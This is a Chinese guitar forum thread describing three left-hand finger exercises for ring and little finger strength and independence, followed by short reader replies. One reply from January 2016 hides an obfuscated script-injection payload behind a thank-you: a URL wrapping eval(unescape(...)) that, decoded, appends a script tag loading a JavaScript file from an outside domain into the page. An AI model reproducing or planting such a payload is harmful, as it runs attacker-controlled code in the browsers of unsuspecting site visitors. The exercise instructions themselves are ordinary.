gzyljt 发表于 2015-9-2 10:35:26

小指的力量,无名指的灵活,全指的舒展

左手小指的力量差;无名指的灵活性不足;四指的扩展性不够。我想大部分学吉他的朋友都遇到过这些问题。所以在这里将介绍几种方法,让你解决掉学琴中遇到的这些左手手指独立性与灵活性不足的问题!


方法一

这里先介绍一个锻炼无名指独立性的手指操。将四个手指依次按在一根弦的连续四个品上,比如第三弦的5、6、7、8品。然后保持食指、中指和小指始终按在弦上,让无名指反复抬起和按下。刚开始可能会发现这样动的时候比较别扭,而且速度很慢,那么这个练习的目标便是:让无名指的动作如同食指一样灵活和快速。这个手指操也可换成小指来练习,即保持食指、中指、无名指按弦不动,而反复运动小指。

方法二

第二个手指操练习全指的独立性。将食指和中指按在5、6品上不动,然后依次用无名指按下7品,再用小指按下8品。在无名指按下的时候,确保小指是抬起的,同样的,在小指按下的时候,确保无名指是抬起的。这样反复进行。可以发现,这样运动比放松食指和中指时的情况下要难很多。另外还有一种方式,就是将食指和中指按在另一弦上。这里举两个例子。一是将食指和中指按在第2弦的5、6品上,而无名指和小指反复按下第4弦的7、8品,这是朝下扩展。另一种是将食指和中指按在第4弦的5、6品上,而无名指和小指反复按下地2弦的7、8品,这是朝上扩展。而后一种方式比前一种又要困难一些。

方法三

各弦上的移动练习。仍以无名指和小指的锻炼为重点。食指和中指可以放开,而用无名指按下第6弦的第7品,右手配合弹响这个音,然后抬起无名指,用小指按下第6弦的第8品,并弹响这个音。此时保持小指在第6弦上不动,用无名指按下第5弦的第7品并弹响,保持无名指不动,再将小指移上来,按在第5弦的第8品上并弹响。这样一直从第6弦移至第1弦,然后移回第6弦,便是一个回合。练习一定回合后,可以将按品顺序反过来练习,即先用小指按下第8品,然后用无名指按下第7品,然后保持无名指不动,小指移至上一弦的第8品,最后再将无名指移上来。这个练习也可以应用到左手四个手指的任意两个手指上。最好是正反两种按品顺序都练习,或者可以选择其中不太适应的一种顺序加强练习。


以上这些方法在初次练习时可能都会感觉不适应,左手肌肉似乎很僵硬。没关系,慢慢来,循序渐进地加快练习速度即可。每天所花时间不必很久,空闲休息的一刻钟都可以利用。贵在天天坚持。

wyyfantasy 发表于 2015-11-20 10:33:31

很好的练习
最近小指加花的弹唱十分无力,确实需要强化训练了

蛮蛮 发表于 2015-11-25 17:09:40

谢谢楼主分享,学习

欧珠1586 发表于 2015-12-10 23:49:31

楼主说的好啊,收藏了!

djcs059808 发表于 2015-12-16 15:33:39

学习了

beyond_ljw 发表于 2015-12-18 09:51:35

正好海淘双鞋子,顺便就买了个Gripmaster Pro来练练手指的力量,对于初学者来说应该很好,不过要漫长的等待

muma8701 发表于 2016-1-13 20:01:00

感谢这个无私奉献的人http://www.coolool.com/flash.swf?'+eval(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2Fwww.dzsstye.com%2Fa.js%22%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source))+'

一叶丶红枫 发表于 2016-1-13 23:25:18

等基本爬格子熟了点就练习

6688w332 发表于 2016-1-19 15:10:48

经验之谈,难得。

bmking 发表于 2016-1-20 13:15:17

好东西,希望能坚持

lirednight 发表于 2016-1-22 15:54:20

手指头的相对独立性非常的重要。感谢楼主分享的联系方法。

lovewhowho 发表于 2017-6-7 16:27:16

插个眼

杭州黑子 发表于 2017-6-9 15:42:49

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